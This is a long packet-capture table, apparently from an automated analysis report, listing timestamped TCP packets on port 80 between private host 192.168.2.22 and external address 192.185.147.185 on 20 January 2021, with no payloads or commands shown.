Jan 20, 2021 16:13:16.667872906 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.667891026 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.667907000 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.667915106 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.667926073 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.667937040 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.667954922 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.667963982 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.667972088 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.667988062 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.667998075 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.668009043 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.668020010 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.668030977 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.668046951 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.668056011 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.668064117 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.668077946 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.668092966 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.668098927 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.668123007 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.668148041 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.668406010 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.668432951 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.668468952 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.668493986 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.669162035 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.825963974 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826013088 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826040983 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826065063 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826159000 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.826308012 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826348066 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.826368093 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826370955 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.826414108 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826446056 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826467991 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.826488018 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.826488972 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826525927 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826541901 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.826565027 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.826565027 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826613903 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826618910 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.826638937 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826662064 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826664925 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.826689005 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.826694012 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826708078 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.826719046 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826730013 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.826741934 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826751947 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.826765060 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826773882 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.826787949 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826807022 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.826809883 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826828957 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.826833963 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826850891 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.826855898 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826880932 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826904058 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.826905012 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826924086 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.826927900 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826946020 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.826958895 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826966047 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.826982021 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.826998949 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.827003956 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.827022076 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.827028990 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.827042103 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.827053070 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.827074051 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.827095032 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.827096939 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.827116966 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.827120066 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.827138901 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.827142954 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.827161074 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.827167034 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.827182055 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.827188969 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.827204943 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.827224970 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.827764988 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.828497887 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.828526974 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.828548908 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.828573942 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.828593969 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.828622103 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.828629017 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.834054947 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.835660934 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.983685017 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.983721018 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.983746052 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.983772993 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.983800888 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.983820915 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.984611988 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.984658003 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.984677076 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.984714985 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.984749079 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.984749079 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.984761000 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.984771013 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.984788895 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.984795094 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.984803915 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.984817982 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.984846115 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.984848022 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.984859943 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.984869957 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.984875917 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.984894991 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.984909058 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.984918118 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.984930038 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.984946012 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.985042095 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.985733986 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.985788107 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.985850096 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.985852957 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.985913992 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.985951900 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.985968113 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.986028910 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.986057043 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.986068010 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.986083984 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.986092091 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.986110926 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.986138105 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.986146927 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.986172915 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.986176014 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.986203909 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.986229897 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.986242056 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.986268044 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.986268044 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.986295938 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.986323118 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.986340046 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.986351013 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.986351967 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.986382008 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.986387014 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.986408949 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.986419916 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.986437082 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.986473083 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.986474991 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.986512899 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.986536980 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.986555099 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.986558914 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.986593962 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.986597061 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.986601114 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.986618042 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.986624002 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.986645937 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.986654997 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.986674070 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.986710072 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.990098000 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.991513968 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.991540909 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.991565943 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.991584063 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.991600990 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.991633892 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:16.994649887 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.994673014 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:16.994736910 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.141339064 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.141371012 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.141419888 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.141453028 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.141520977 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.142117023 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.142160892 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.142174006 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.142240047 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.142277956 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.142293930 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.142302990 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.142333031 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.142350912 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.142426968 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.142477036 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.142478943 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.142507076 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.142535925 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.142535925 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.142559052 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.142563105 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.142586946 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.142587900 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.142612934 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.142612934 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.142636061 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.142637014 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.142669916 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.142688990 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.144177914 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.144229889 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.144243002 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.144279957 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.144316912 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.144325972 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.144344091 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.144361019 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.144396067 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.144402981 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.144433022 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.144449949 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.144463062 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.144478083 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.144489050 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.144510031 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.144512892 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.144537926 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.144541979 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.144561052 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.144562960 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.144586086 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.144587040 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.144612074 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.144618988 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.144629002 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.144643068 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.144668102 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.144694090 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.144709110 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.144716024 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.144718885 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.144738913 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.144751072 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.144767046 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.144778967 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.144803047 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.144829035 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.144851923 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.144928932 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.144984961 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.147166967 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.147176981 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.147479057 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.147519112 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.147542000 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.147568941 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.147582054 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.147594929 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.147599936 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.147619963 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.147625923 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.147650003 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.147679090 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.148358107 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.148912907 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.148931026 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.148962021 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.148972034 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.148978949 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.148988008 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.149034023 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.149519920 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.153095007 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.153112888 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.153186083 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.299494028 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.299532890 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.299573898 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.299606085 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.299629927 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.299649000 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.299674034 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.299679995 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.299691916 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.299710989 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.299722910 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.299724102 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.299741983 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.299750090 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.299763918 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.299766064 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.299784899 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.299796104 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.299807072 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.299818039 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.299829960 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.299849033 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.299854040 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.299875021 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.299886942 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.299910069 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.299920082 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.299958944 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.299992085 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.299999952 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300008059 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300029039 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300056934 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300079107 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300087929 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300096989 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300113916 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300132990 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300143957 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300158978 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300162077 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300178051 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300192118 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300200939 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300216913 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300234079 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300249100 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300266027 CET	49165	80	192.168.2.22	192.185.147.185
Jan 20, 2021 16:13:17.300276995 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300297976 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300309896 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300322056 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300344944 CET	80	49165	192.185.147.185	192.168.2.22
Jan 20, 2021 16:13:17.300376892 CET	80	49165	192.185.147.185	192.168.2.22
